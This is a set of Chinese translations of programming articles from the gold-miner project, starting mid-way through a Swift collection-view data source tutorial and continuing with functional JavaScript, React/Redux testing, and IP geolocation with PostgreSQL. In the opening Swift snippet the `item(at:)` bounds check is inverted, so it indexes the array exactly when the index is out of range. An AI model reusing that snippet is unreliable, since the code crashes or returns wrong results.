numberOfItems(in section: Int) -> Int { guard section >= 0 && section < items.count else { return 0 } return items[section].count } public func item(at indexPath: IndexPath) -> T? { guard indexPath.section >= 0 && indexPath.section < items.count && indexPath.row >= 0 && indexPath.row < items[indexPath.section].count else { return items[indexPath.section][indexPath.row] } return nil } public func updateItem(at indexPath: IndexPath, value: T) { guard indexPath.section >= 0 && indexPath.section < items.count && indexPath.row >= 0 && indexPath.row < items[indexPath.section].count else { return } items[indexPath.section][indexPath.row] = value } } ``` 这样做可以提取访问数据源的细节,线性数据结构可以表示 cell 的内容是最常见的使用情况。 ### 封装到一块: CollectionArrayDataSource 这样 **CollectionDataProvider** 协议就具体实现了,创建一个 **CollectionDataSource** 子类来实现最常见的简单的列表数据展示是非常容易的。 让我们从这个类的定义开始: ``` open class CollectionArrayDataSource: CollectionDataSource, Cell> where Cell: ConfigurableCell, Cell.T == T { [...] } ``` 这个声明定义了很多事情: 1. 这个类有一个公有的属性,因为它最终将被扩展为 **UICollectionView** 对象的数据源对象。 2. 这是一个继承 **UICollectionViewCell** 的泛型类,需要被特定的类型 **T** 进一步定义才能正确展示 cell 和 cell 的内容。 3. 这个类扩展了 **CollectionDataSource** 来提供进一步的特定行为。 4. 特定类型 **T** 将被表示,它将通过一个 **ArrayDataProvider\** 对象来访问 cell 内容。 5. 这个类在 closure 中的定义表明有些特定的约束: - **UICollectionViewCell** 必须遵循 **ConfigurableCell** 协议。( **Cell:** **ConfigurableCell** ) - cell 中的特定类型 **T** 必须跟 Provider 的 **T** 相同 (**Provider.T == Cell.T**) 。 类的实现非常简单: ``` // MARK: - Lifecycle public convenience init(collectionView: UICollectionView, array: [T]) { self.init(collectionView: collectionView, array: [array]) } public init(collectionView: UICollectionView, array: [[T]]) { let provider = ArrayDataProvider(array: array) super.init(collectionView: collectionView, provider: provider) } // MARK: - Public Methods public func item(at indexPath: IndexPath) -> T? { return provider.item(at: indexPath) } public func updateItem(at indexPath: IndexPath, value: T) { provider.updateItem(at: indexPath, value: value) } ``` 它只是提供了一些初始化方法和与交互方法,这些方法使我们能够让数据提供者与数据源透明地进行读取和写入操作。 ### 创建一个基本的 CollectionView 可以将 **CollectionArrayDataSource** 基类扩展,为任何可以用二维数组展示的 collection view 创建一个特定的数据源。 ``` class PhotosDataSource: CollectionArrayDataSource {} ``` 声明比较简单: 1. 继承于 **CollectionArrayDataSource** 。 2. 这个类表示 **PhotoViewModel** 作为特定类型 **T** 将会展示 cell 内容,可通过 **ArrayDataProvider\** 对象访问,**PhotoCell** 将作为 **UICollectionViewCell** 展示。 请注意,**PhotoCell** 必须遵守 **ConfigurableCell** 协议,并且能够通过 **PhotoViewModel** 实例初始化它的属性。 创建一个 **PhotosDataSource** 对象是非常简单的。只需要传递过去将要展示的 collectionView 和由展示每个 cell 内容的 **PhotoViewModel** 元素组成的数组: ``` let dataSource = PhotosDataSource(collectionView: collectionView, array: viewModels) ``` **collectionView** 参数通常是 storyboard 上的 collectionView 通过 outlet 指向获取到的。 所有的就完成了!两行代码就可以设置一个基本的 collectionView 数据源。 ### 设置带有组标题和组的 CollectionView 对于更高级和复杂的用例,你可以简单在 [GitHub repo](https://github.com/andrea-prearo/GenericDataSource) 上查看 **TaskList** 。内容已经很长了,本文就不再不介绍示例的更多细节。我将在下一篇 *“Collection View with Headers and Sections”* 文章里进行深入地探讨。在这个说明中,如果存在一个话题对你来说很有意思,请不要犹豫让我知道,这样我就可以优先考虑下一步写什么。为了和我联系,请在这篇文章下方留言或发邮件给我: [andrea.prearo@gmail.com](mailto:andrea.prearo@gmail.com) 。 ### 结论 在这篇文章中,我介绍了一些我做的抽取封装,以简化使用泛型数据源的 collectionView 。所提出的实现都是基于我在构建 iOS app 时遇到的重复代码的场景。一些更高级的功能可能需要进一步的自定义。我相信,继续优化所得到的代码抽取,或者构建新的代码抽取,来简化处理不同的 collectionView 模式都是可能的。但这已经超出了这篇文章的范围。 所有的通用数据源代码和示例工程都在 [GitHub](https://github.com/andrea-prearo/GenericDataSource) 并且是遵守 MIT 协议的。你可以直接使用和修改它们。欢迎所有的反馈意见和建议的贡献,并非常感谢你这么做。如果你有足够的兴趣,我将很乐意添加所需的配置,使代码与Cocoapods和Carthage一起使用,并允许使用这种依赖关系管理工具导入通用数据源。或者,这可能是一个很好的起点去为这个项目做出贡献。 --- #### 额外链接 - [Smooth Scrolling in UITableView and UICollectionView](https://medium.com/capital-one-developers/smooth-scrolling-in-uitableview-and-uicollectionview-a012045d77f) - [Boost Smooth Scrolling with iOS 10 Pre-Fetching API](https://medium.com/capital-one-developers/boost-smooth-scrolling-with-ios-10-pre-fetching-api-818c25cd9c5d) **披露声明:这些意见是作者的意见。 除非在文章中额外声明,否则 Capital One 版权不属于任何所提及的公司,也不属于任何上述公司。 使用或显示的所有商标和其他知识产权均为其各自所有者的所有权。 本文版权为 ©2017 Capital One** 更多关于 API、开源、社区活动或开发文化的信息,请访问我们的一站式开发网站 [**developer.capitalone.com**](https://developer.capitalone.com/) 。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/gentle-introduction-to-functional-javascript-intro.md ================================================ > * 原文链接 : [A GENTLE INTRODUCTION TO FUNCTIONAL JAVASCRIPT: PART 1](http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-intro/) * 原文作者 : [James Sinclair](http://jrsinclair.com/about.html) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者: [Zhangjd](https://github.com/zhangjd) * 校对者: [markzhai](https://github.com/markzhai), [sqrthree](https://github.com/sqrthree) # 函数式 JavaScript 教程(一) 本文是介绍 JavaScript 函数式编程的四部分之首篇。在这篇文章里,我们来看一下那些让 JavaScript 适合作为函数式编程语言的组成部分,并探讨为什么函数式编程可能是有用的。 * Part 1: [组成部分与动机](http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-intro/) * Part 2: [处理数组和列表](http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-arrays/) * Part 3: [生成函数的函数](http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-functions/) * Part 4: [函数式风格编程](http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-style/) ## 什么是函数? 函数式 JavaScript 因为什么而热门?为什么称之为_函数式_?那应该也不是任何一个选择写不良的或者非函数式js的人选择写它们的原因,函数式编程适合用在什么地方?为什么你会感到困扰? 对于我而言,学习函数式编程有点像 [得到了一个全能料理机](http://youtu.be/4yr_etbfZtQ): * 它需要一点前期的学习成本; * 之后你会开始告诉你的朋友和亲人们它有多酷炫; * 他们会开始怀疑你是不是加入了某种邪教。 但是,函数式编程确实让某些任务变得轻松很多,它甚至可以自动化某些本来是无聊耗时的工作。 ## 组成部分 在进入正题之前,我们先介绍一下 JavaScript 的那些让函数式编程成为可能的基本特征。在 JavaScript 中,有两个关键的组成部分:_变量_ 和 _函数_。变量有点像容器,我们可以把内容放进去,比如你可以这样写: var myContainer = "Hey everybody! Come see how good I look!"; 这句话创建了一个名为 `myContainer` 的容器,并把一个字符串放了进去。 现在来看看函数,函数是一种封装若干指令,使其便于重复利用的方式;也可以理解为把若干事情先组织起来,使你不必立即想清楚一切。我们可以创建一个像这样的函数: function log(someVariable) { console.log(someVariable); return someVariable; } 然后这样调用: log(myContainer); // Hey everybody! Come see how good I look! 如果你熟悉 JavaScript,应该还知道我们可以像这样定义和调用函数: var log = function(someVariable) { console.log(someVariable); return someVariable; } log(myContainer); // Hey everybody! Come see how good I look! 认真观察下,当我们以这种方式定义函数时,看起来就像定义了一个 `log` 变量,并且把函数放进了这个变量,而这正是我们所做的。我们的 `log()` 函数确实是一个变量,这意味着我们可以对它做与其它变量一样的事情。 让我们试一试,能否把函数作为参数,传递给另一函数呢? var classyMessage = function() { return "Stay classy San Diego!"; } log(classyMessage); // [Function] 嗯,这太小儿科了,换个花样试试: var doSomething = function(thing) { thing(); } var sayBigDeal = function() { var message = "I'm kind of a big deal"; log(message); } doSomething(sayBigDeal); // I'm kind of a big deal 现在你可能觉得这个结果没什么特别的,但对于计算机科学家而言就非常兴奋了。这种把函数放进变量的特性,有时候会被称为 “函数是 JavaScript 的一等公民” (functions are first class objects in JavaScript.)。这意味着大部分时候,可以把函数和其他数据类型(比如对象或字符串)等同对待。这个看起来小的特征可是相当的强大,不过在理解原因之前,我们需要先来介绍一下 DRY 原则。 ## 不要重复你自己 程序员都喜欢提及 DRY 原则 - 不要重复你自己(Don't Repeat Yourself)。其思想就是,如果你需要多次进行相同的工作,那就把它们打包起来,放入到某种可重用的包装里(比如函数)。通过这种方式,一旦想要调整那个任务集,你就只需要改动一个地方。 看这个例子,我们使用了一个轮播库,创建三个轮播组件,并放到页面中: var el1 = document.getElementById('main-carousel'); var slider1 = new Carousel(el1, 3000); slider1.init(); var el2 = document.getElementById('news-carousel'); var slider2 = new Carousel(el1, 5000); slider2.init(); var el3 = document.getElementById('events-carousel'); var slider3 = new Carousel(el3, 7000); slider3.init(); 这段代码看起来有点重复,我们想要初始化页面中的轮播组件,而每个组件有一个特定的 ID。因此,让我们看看如何在一个函数中初始化轮播组件,并且为每一个组件 ID 调用该函数: function initialiseCarousel(id, frequency) { var el = document.getElementById(id); var slider = new Carousel(el, frequency); slider.init(); return slider; } initialiseCarousel('main-carousel', 3000); initialiseCarousel('news-carousel', 5000); initialiseCarousel('events-carousel', 7000); 这段代码更加清晰和易于维护。我们需要遵循一个模式:当我们想要对不同的数据集合进行相同的操作时,只需把这些操作包装进函数中。但是,如果我们进行的操作不尽相同呢? var unicornEl = document.getElementById('unicorn'); unicornEl.className += ' magic'; spin(unicornEl); var fairyEl = document.getElementById('fairy'); fairyEl.className += ' magic'; sparkle(fairyEl); var kittenEl = document.getElementById('kitten'); kittenEl.className += ' magic'; rainbowTrail(kittenEl); 要重构这段代码就有一点棘手了,代码当中肯定有重复的行为,但是也为每个元素调用了不同的函数。我们可以把调用 `document.getElementById()` 和添加 `className` 打包到一个函数中,这样可以降低一点重复度: function addMagicClass(id) { var element = document.getElementById(id); element.className += ' magic'; return element; } var unicornEl = addMagicClass('unicorn'); spin(unicornEl); var fairyEl = addMagicClass('fairy'); sparkle(fairyEl); var kittenEl = addMagicClass('kitten'); rainbow(kittenEl); 但我们还能让代码更加 DRY,还记得 JavaScript 可以把函数作为参数传递给其它函数吗? function addMagic(id, effect) { var element = document.getElementById(id); element.className += ' magic'; effect(element); } addMagic('unicorn', spin); addMagic('fairy', sparkle); addMagic('kitten', rainbow); 这段代码就简洁多了,也更易于维护。这种把函数作为变量并传递给另一函数的能力,为我们的代码提供了更多可能性。在下一节,我们会试着在数组中运用这种能力,让数组变得更加方便使用。 [阅读下一节…](http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-arrays/) ================================================ FILE: TODO/genuine-guide-to-testing-react-redux-applications.md ================================================ > * 原文地址:[Genuine guide to testing React & Redux applications](https://blog.pragmatists.com/genuine-guide-to-testing-react-redux-applications-6f3265c11f63) > * 原文作者:[Jakub Żmuda](https://blog.pragmatists.com/@goodguykuba?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/genuine-guide-to-testing-react-redux-applications.md](https://github.com/xitu/gold-miner/blob/master/TODO/genuine-guide-to-testing-react-redux-applications.md) > * 译者:[jonjia](https://github.com/jonjia) > * 校对者:[zephyrJS](https://github.com/zephyrJS) [goldEli](https://github.com/goldEli) # 测试 React & Redux 应用良心指南 ![](https://cdn-images-1.medium.com/max/800/1*8UPDi2_tJ-4P8rkhfN8uAg.jpeg) 前端只是一层薄薄的静态页面的时代已经一去不复返了。现代 web 应用程序变得越来越复杂,逻辑也持续从后端向前端转移。然而,当涉及到测试时,许多人都保持着过时的心态。如果你使用的是 React 和 Redux,但是由于某些原因对测试你的代码不感兴趣,我将在这里向你展示如何以及为什么我们每天都这样做。 **注意:我将使用 [Jest](https://facebook.github.io/jest/) 和 [Enzyme](https://github.com/airbnb/enzyme)。它们是测试 React & Redux 应用最流行的工具。我猜你已经用过或者能熟练使用它们了。** #### 单元测试和集成测试简单对比 React & Redux 应用构建在三个基本的构建块上:actions、reducers 和 components。是独立测试它们(单元测试),还是一起测试(集成测试)取决于你。集成测试会覆盖到整个功能,可以把它想成一个黑盒子,而单元测试专注于特定的构建块。从我的经验来看,集成测试非常适用于容易增长但相对简单的应用。另一方面,单元测试更适用于逻辑复杂的应用。尽管大多数应用都适合第一种情况,但我将从单元测试开始更好地解释应用层。 #### 我们将构建(并测试)什么 这里有一个可用的 [应用](https://kubaue.github.io/React-TDD/)。当你第一次进入页面的时候,不会显示图片。你可以通过点击按钮来获取一张图片。我使用了免费的 [Dog API](https://dog.ceo/dog-api/)。现在让我们写一些测试。可以查看我的 [源码](https://github.com/kubaue/React-TDD)。 #### 单元测试:Action 创建函数 为了展示一只狗的图片,我们首先要获取它,如果你不熟悉 [thunk](https://github.com/gaearon/redux-thunk),别担心。Thunk 是一个中间件,它可以给我们返回一个函数,而不是 action 对象。我们可以用它根据 HTTP 请求结果来 dispatch 对应的成功的 action 或者失败的 action。 我们要测试从 API 成功取回的数据是否 dispatch 了成功的 action,并且将数据一起传递。为了做到这一点,我们将使用 [redux-mock-store](https://github.com/arnaudbenard/redux-mock-store)。 **注意:我使用 [axios](https://github.com/axios/axios) 来作为客户端请求工具,用 [axios-mock-adapter](https://github.com/ctimmerm/axios-mock-adapter) 来 mock 实际 API 的请求。你可以自由选择适合你的工具。** ``` import configureMockStore from 'redux-mock-store'; import { FETCH_DOG_REQUEST, FETCH_DOG_SUCCESS } from '../../constants/actionTypes'; import fetchDog from './fetchDog'; import axios from 'axios'; import MockAdapter from 'axios-mock-adapter'; describe('fetchDog action', () => { let store; let httpMock; const flushAllPromises = () => new Promise(resolve => setImmediate(resolve)); beforeEach(() => { httpMock = new MockAdapter(axios); const mockStore = configureMockStore(); store = mockStore({}); }); it('fetches a dog', async () => { // given httpMock.onGet('https://dog.ceo/api/breeds/image/random').reply(200, { status: 'success', message: 'https://dog.ceo/api/img/someDog.jpg', }); // when fetchDog()(store.dispatch); await flushAllPromises(); // then expect(store.getActions()).toEqual( [ { type: FETCH_DOG_REQUEST }, { payload: { url: 'https://dog.ceo/api/img/someDog.jpg' }, type: FETCH_DOG_SUCCESS } ]); }) }); ``` 一开始,让我们在 beforeEach() 中进行 mock store 和模拟的 http 客户端的初始化。在测试中,我们为请求指定结果。之后,执行我们的 action 创建函数。因为我们使用了 thunk,因此它会返回一个函数,我们把 store 的 dispatch 方法传给这个函数。在进行任何断言之前,请求需要变为 resolved,因此我们要确保没有 pending 的 Promise。 ``` const flushAllPromises = () => new Promise(resolve => setImmediate(resolve)); ``` 这行代码会把所有的 promise 放到一个单独的事件循环中。[window.setImmediate](https://developer.mozilla.org/en-US/docs/Web/API/Window/setImmediate) **是用来在浏览器已经完成了比如事件和显示更新等其他操作后,结束这些长时间运行的操作,并立即执行它的回调函数。** 在这个例子中,挂起的 HTTP 请求就是我们要完成的操作。此外,由于这不是一个标准的浏览器特性,所以你不应该在正式代码中使用它。 #### 单元测试:Reducers 我认为 reducers 是应用程序的核心。如果你开发功能丰富、复杂的系统,这部分就会变得很复杂。如果你引入了一个 bug,以后可能很难查找。这就是为什么测试 reducers 非常重要。我们正在构建的应用非常简单,但我希望你能获取到图片。 每个 reducer 都会在应用启动时被调用,因此需要一个初始状态。放任你的初始状态为 undefined 会让你在组件中写好多校验代码。 ``` it('returns initial state', () => { expect(dogReducer(undefined, {})).toEqual({url: ''}); }); ``` 这段代码很直接,我们使用 undefined 的状态运行 reducer,并检查它是否会返回带有初始值的状态。 我们还必须保证那个 reducer 能正确的响应成功的请求,并获取到图片的 URL。 ``` it('sets up fetched dog url', () => { // given const beforeState = {url: ''}; const action = {type: FETCH_DOG_SUCCESS, payload: {url: 'https://dog.ceo/api/img/someDog.jpg'}}; // when const afterState = dogReducer(beforeState, action); // then expect(afterState).toEqual({url: 'https://dog.ceo/api/img/someDog.jpg'}); }); ``` Reducers 应该是纯函数,没有副作用。这会让测试它们变得非常简单。提供一个之前的状态,触发一个 action,然后验证输出状态是否正确。 #### 单元测试:Components 在我们开始之前,让我们先谈谈组件有哪些方面值得测试。我们显然无法测试组件是否好看。但是,我们绝对应该测试某些条件性的元素是否能成功显示;或者对组件执行某些操作(不是 redux 中的 action),通过组件 props 传递的方法是否会被调用。 在我们的系统中,我们完全依赖 redux 管理应用的状态,因此我们所有的组件都是无状态的。 **注意:如果你在寻找优雅的 Enzyme 断言库,可以查看 [_enzyme-matchers_](https://github.com/FormidableLabs/enzyme-matchers)** 组件的结构很简单。我们有 DogApp 根组件和用来获取并显示狗的图片的 RandomDog 组件。 RandomDog 组件的 props 如下: ``` static propTypes = { dogUrl: PropTypes.string, fetchDog: PropTypes.func, }; ``` Enzymes 可以让我们用两种方式来渲染一个组件。Shallow Rendering 意味着只有根组件会被渲染。如果你把 shallow rendered 组件的文本打印出来,你会发现所有子组件都没有被渲染。Shallow rendering 非常适合单独测试组件,并且从 Enzyme 3 开始(Enzyme 2 中也是可选的),它会调用生命周期的方法,比如 componentDidMount()。我们稍后再介绍第二种方法。 现在我们来写 RandomDog 组件的测试用例。 首先,我们要确保没有图片 URL 时,要显示占位符,而且不应该显示图片。 ``` it('should render a placeholder', () => { const wrapper = shallow(); expect(wrapper.find('.dog-placeholder').exists()).toBe(true); expect(wrapper.find('.dog-image').exists()).toBe(false); }); ``` 其次,在提供图片 URL 时,图片应该替换占位符显示出来。 ``` it('should render actual dog image', () => { const wrapper = shallow(); expect(wrapper.find('.dog-placeholder').exists()).toBe(false); expect(wrapper.find('img[src="http://somedogurl.dog"]').exists()).toBe(true); }); ``` 最后,点击获取狗的图片按钮,应该会执行 **fetchDog()** 方法。 ``` it('should execute fetchDog', () => { const fetchDog = jest.fn(); const wrapper = shallow(); wrapper.find('.dog-button').simulate('click'); expect(fetchDog).toHaveBeenCalledTimes(1); }); ``` **注意:在这个例子中,我使用了元素和类选择器。如果你发现它很脆弱并重构了代码,可以考虑切换到 [_custom attributes_](https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes)。** #### 只有单元测试,没有集成测试 我用一些陈词滥调来说明单元测试的问题。 ![](https://cdn-images-1.medium.com/max/800/1*KoTFh3xRPgkzD0FlzsYKjA.gif) 虽然单元测试是个很好的工具,但它并不能保证我们正确连接了所有的组件,或者 reducer 订阅了正确的 action。这是 bug 容易发生的位置,这就是为什么我们需要集成测试。 是的,有些人认为由于上述原因,单元测试是没用的,但我认为他们没有面对过一个足够复杂的系统来发现单元测试的价值。 #### 集成测试 我们现在将它们捆绑在一起并放在一个黑盒子中,而不是单独和详细地测试构建块。我们不再关心内部是如何工作的,或是组件内部究竟发生了什么。 这就是为什么集成测试非常有弹性和方便重构的原因。**你可以切换整个底层机制而无需更新测试。** 在集成测试中,我们不再需要 mock store。让我们使用真实的吧。 ``` import { applyMiddleware, createStore } from 'redux'; import thunk from 'redux-thunk'; import reducers from './reducers/index'; export default function setupStore(initialState) { return createStore(reducers, {...initialState}, applyMiddleware(thunk)); } ``` 就是这样。现在,我们有一个功能齐全的 store,是时候开始第一个测试了。我们使用 Enzyme 的 mount 来(实现挂载类型的渲染)。Mount 非常适合集成测试,因为它会渲染整个底层组件树。 正如我们在单元测试中所做的那样,我们要检查应用启动时是否没有显示图像。但是现在我没有将空的图像 URL 作为组件的 prop 传递,而是将其包装在 Provider 中,传递了我们创建的 store。 ``` it('should render a placeholder when no dog image is fetched', () => { let wrapper = mount(); expect(wrapper.find('div.dog-placeholder').text()).toEqual('No dog loaded yet. Get some!'); expect(wrapper.find('img.dog-image').exists()).toBe(false); }); ``` 没有什么特别的是吧?我们来看第二个测试用例。 ``` it('should fetch and render a dog', async () => { httpMock.onGet('https://dog.ceo/api/breeds/image/random').reply(200, { status: 'success', message: 'https://dog.ceo/api/img/someDog.jpg' }); const wrapper = mount(); wrapper.find('.dog-button').simulate('click'); await flushAllPromises(); wrapper.update(); expect(wrapper.find('img[src="https://dog.ceo/api/img/someDog.jpg"]').exists()).toBe(true); }); ``` 很容易对吧?这个测试描述了我们和组件之间的真实交互。它涵盖了单元测试所做的每个方面,甚至更多。现在我们可以说构建块不仅能够单独运行,而且能够以正确的方式结合起来。 哦,如果你对 Enzyme 很熟悉,还想知道我为什么调用 wrapper.update(),[这就是原因](https://github.com/airbnb/enzyme/issues/1153)。简而言之:这是 Enzyme 3 的一个 bug。也许在你阅读这篇文章时,它会被修复。 #### 快照测试简介 Jest 提供了一种确保代码更改不会改变组件的 render()方法输出的方法。虽然编写快照测试非常简单快捷,但它们并不具有描述性,也无法通过测试驱动开发过程。我看到的唯一使用案例是,当你对其他人的未经测试的遗留代码进行一些更改时,你并不想整理这些代码,更不希望因为修改它而受到指责。 #### 那么我们应该使用什么类型的测试? 只需要从集成测试开始。你很可能觉得不会在你的项目中实施一个单元测试。这意味着你的复杂性不会在构建块之间划分,这样非常好。你会节省很多时间。另一方面,有些系统会利用单元测试的能力。两者都有用武之地。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/geolocation-using-multiple-services.md ================================================ >* 原文链接 : [Geolocation using multiple services](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html) * 原文作者 : [wsdookadr](https://github.com/wsdookadr) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [emmiter](https://github.com/emmiter/) * 校对者: [a-voyager](https://github.com/a-voyager), [jamweak](https://github.com/jamweak) # 基于多种服务的地理位置查询系统 ## 简介 我的[这篇](https://blog.garage-coding.com/2015/12/24/out-on-the-streets.html)文章讨论了 [PostGIS](http://postgis.net/) 以及查询地理数据的几种方法。这篇文章将集中讨论构建一个免费的地理服务系统,并聚合呈现结果。 ## 概述 总的来说,我们将会向不同的网络服务(或APIs)发起请求,对响应结果做[反向地理编码](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html)后再聚合展示。![](http://ac-Myg6wSTV.clouddn.com/2442a3bd132f453eb9eb.png) ## 比较 [Geonames](http://www.geonames.org/) 和 [OpenStreetMap](https://www.openstreetmap.org/#map=5/51.500/-0.100) 下表罗列了二者之间的部分差别: ![](http://ww1.sinaimg.cn/large/a490147fgw1f5raumu7jtj20gw09ujt1.jpg) 二者用途不同。Geonomes 用于城市/行政区/国家数据,可被用于[地理编码](http://www.geonames.org/export/geonames-search.html)。OpenStreetMap 拥有更加详尽的数据(使用者基本上都可以从 OpenStreetMap 中提取出Geonames数据),这些数据可被用作地理编码,路线规划以及[这些](http://wiki.openstreetmap.org/wiki/Applications_of_OpenStreetMap)和[基于 OpenStreetMap 的服务](http://wiki.openstreetmap.org/wiki/List_of_OSM-based_services)。 ## 发送给地理位置服务的异步请求 我们使用 [gevent](http://www.gevent.org/) 库来向地理位置服务发起异步请求。 import gevent import gevent.greenlet from gevent import monkey; gevent.monkey.patch_all() geoip_service_urls=[ ['geoplugin' , 'http://www.geoplugin.net/json.gp?ip={ip}' ], ['ip-api' , 'http://ip-api.com/json/{ip}' ], ['nekudo' , 'https://geoip.nekudo.com/api/{ip}' ], ['geoiplookup' , 'http://api.geoiplookup.net/?query={ip}' ], ] # fetch url in asynchronous mode (makes use of gevent) def fetch_url_async(url, tag, timeout=2.0): data = None try: opener = urllib2.build_opener(urllib2.HTTPSHandler()) opener.addheaders = [('User-agent', 'Mozilla/')] urllib2.install_opener(opener) data = urllib2.urlopen(url,timeout=timeout).read() except Exception, e: pass return [tag, data] # expects req_data to be in this format: [ ['tag', url], ['tag', url], .. ] def fetch_multiple_urls_async(req_data): # start the threads (greenlets) threads_ = [] for u in req_data: (tag, url) = u new_thread = gevent.spawn(fetch_url_async, url, tag) threads_.append(new_thread) # wait for threads to finish gevent.joinall(threads_) # retrieve threads return values results = [] for t in threads_: results.append(t.get(block=True, timeout=5.0)) return results def process_service_answers(location_data): # 1) extract lat/long data from responses # 2) reverse geocoding using geonames # 3) aggregate location data # (for example, one way of doing this would # be to choose the location that most services # agree on) pass def geolocate_ip(ip): urls = [] for grp in geoip_service_urls: tag, url = grp urls.append([tag, url.format(ip=ip)]) results = fetch_multiple_urls_async(urls) answer = process_service_answers(results) return answer ## 引发歧义的城市名 ### 同一国家中具有相同名字的城市 同个国家里,有非常多的分属于不同州或行政区的同名城市。也有很多同名不同国的城市。例如,根据 Geonames 的数据显示,美国一共有24个名叫 Clinton 的城市(这24个城市共分布在23个州,其中有两个是在密歇根州) WITH duplicate_data AS ( SELECT city_name, array_agg(ROW(country_code, region_code)) AS dupes FROM city_region_data WHERE country_code = 'US' GROUP BY city_name, country_code ORDER BY COUNT(ROW(country_code, region_code)) DESC ) SELECT city_name, ARRAY_LENGTH(dupes, 1) AS duplicity, ( CASE WHEN ARRAY_LENGTH(dupes,1) > 9 THEN CONCAT(SUBSTRING(ARRAY_TO_STRING(dupes,','), 1, 50), '...') ELSE ARRAY_TO_STRING(dupes,',') END ) AS sample FROM duplicate_data LIMIT 5; ![](http://ww2.sinaimg.cn/large/a490147fgw1f5rawd6ei2j20in06n0uy.jpg) ### 同一国家,同一行政区的同名城市 从全世界范围来看,即便是在同个国家的同个行政区,都会出现多个名字完全相同的城市。就拿位于美国印第安纳州(Indiana)的乔治城(Georgetown)来说,Geonames 表明该州共有3个同名城镇。维基百科则显示了更多: * [乔治城,弗洛伊德县,印第安纳州](https://en.wikipedia.org/wiki/Georgetown,_Floyd_County,_Indiana) * [乔治城小镇,弗洛伊德县,印第安纳州](https://en.wikipedia.org/wiki/Georgetown_Township,_Floyd_County,_Indiana) * [乔治城,卡斯县,印第安纳州](https://en.wikipedia.org/wiki/Georgetown,_Cass_County,_Indiana) * [乔治城,兰道夫县,印第安纳州](https://en.wikipedia.org/wiki/Georgetown,_Randolph_County,_Indiana) ``` WITH duplicate_data AS ( SELECT city_name, array_agg(ROW(country_code, region_code)) AS dupes FROM city_region_data WHERE country_code = 'US' GROUP BY city_name, region_code, country_code ORDER BY COUNT(ROW(country_code, region_code)) DESC ) SELECT city_name, ARRAY_LENGTH(dupes, 1) AS duplicity, ( CASE WHEN ARRAY_LENGTH(dupes,1) > 9 THEN CONCAT(SUBSTRING(ARRAY_TO_STRING(dupes,','), 1, 50), '...') ELSE ARRAY_TO_STRING(dupes,',') END ) AS sample FROM duplicate_data LIMIT 4; ``` ![](http://ww2.sinaimg.cn/large/a490147fgw1f5raxacpo0j20d505rmy4.jpg) ## 反向地理编码 (city_name, country_code),(city_name, country_code, region_name) 这两个元组都不能唯一地确定一个位置。我们可以使用邮政编码 ([zip codes](https://en.wikipedia.org/wiki/ZIP_code) 或者叫做 [postal codes](https://en.wikipedia.org/wiki/Postal_code)),除非地理位置服务不提供他们。但是大部分的地理位置服务却提供经纬度,可以使用这两者来消除歧义。 ### PostgreSQL 数据库中的图形数据类型 我深入研究了 PostgreSQL 数据库的文档,发现它也拥有几何[数据类型](https://www.postgresql.org/docs/9.4/static/datatype-geometric.html)和用于2D 几何(平面几何)的[函数](https://www.postgresql.org/docs/9.4/static/functions-geometry.html)。你可以使用这些现成的数据类型和函数来模拟点,框,路径,多边形和圆并且可以将他们存储,之后还可以查询。PostgreSQL 还有一些存在于普通发布目录的[额外扩展](https://www.postgresql.org/docs/9.1/static/contrib.html)。这些扩展需要大部分 Postgres 安装后才可以使用。当下的情况,我们对[ cube 类型](https://www.postgresql.org/docs/9.4/static/cube.html) 和 [earthdistance](https://www.postgresql.org/docs/9.4/static/earthdistance.html) 扩展感兴趣,earthdistance 扩展使用 [3-cubes](https://en.wikipedia.org/wiki/Hypercube) 来存储向量和表示地球上的点。我们要用到的东西如下所示: * `earth_distance` 函数是可用的,允许你计算球面上两点之间的最短距离 [great-circle-distance](https://en.wikipedia.org/wiki/Great-circle_distance) * `earth_box` 函数用于检查对于给定的参考点,和给定的距离,该点是否位于该距离以内 * 一个 [gist](https://www.postgresql.org/docs/9.1/static/sql-createindex.html) [位于表达式上的索引(expression index)](https://www.postgresql.org/docs/9.4/static/indexes-expressional.html),表达式 `ll_to_earth(lat,long)` 执行快速的空间查询以及寻找附近点。 ### 为城市 & 行政区数据设计一个视图 Geonames 数据被导入到3个表中: * `geo_geoname` (数据来自 [cities1000.zip](http://download.geonames.org/export/dump/cities1000.zip)) * `geo_admin1` (数据来自 